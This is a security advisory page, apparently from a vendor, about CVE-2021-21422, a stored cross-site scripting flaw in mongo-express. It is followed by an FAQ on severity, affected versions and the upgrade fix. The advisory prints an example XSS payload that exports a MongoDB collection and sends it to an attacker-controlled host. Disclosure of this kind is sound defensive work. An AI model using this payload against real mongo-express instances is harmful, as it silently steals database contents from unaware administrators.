CVE-2021-21422

Cross-site scripting

Two kinds of XSS were found:

1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.

For more information

If you have any questions or comments about this advisory:

• Open an issue in mongo-express
• Email me at [email protected]

As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }

This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2021-21422 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.0-alpha.4); upgrading removes the vulnerable code path.

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1. What is CVE-2021-21422? CVE-2021-21422 is a high-severity cross-site scripting (XSS) vulnerability in mongo-express (npm), affecting versions <= 1.0.0-alpha.2. It is fixed in 1.0.0-alpha.4. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2021-21422? CVE-2021-21422 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mongo-express are affected by CVE-2021-21422? mongo-express (npm) versions <= 1.0.0-alpha.2 is affected.
4. Is there a fix for CVE-2021-21422? Yes. CVE-2021-21422 is fixed in 1.0.0-alpha.4. Upgrade to this version or later.
5. Is CVE-2021-21422 exploitable, and should I be worried? Whether CVE-2021-21422 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2021-21422 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2021-21422? Upgrade mongo-express to 1.0.0-alpha.4 or later.

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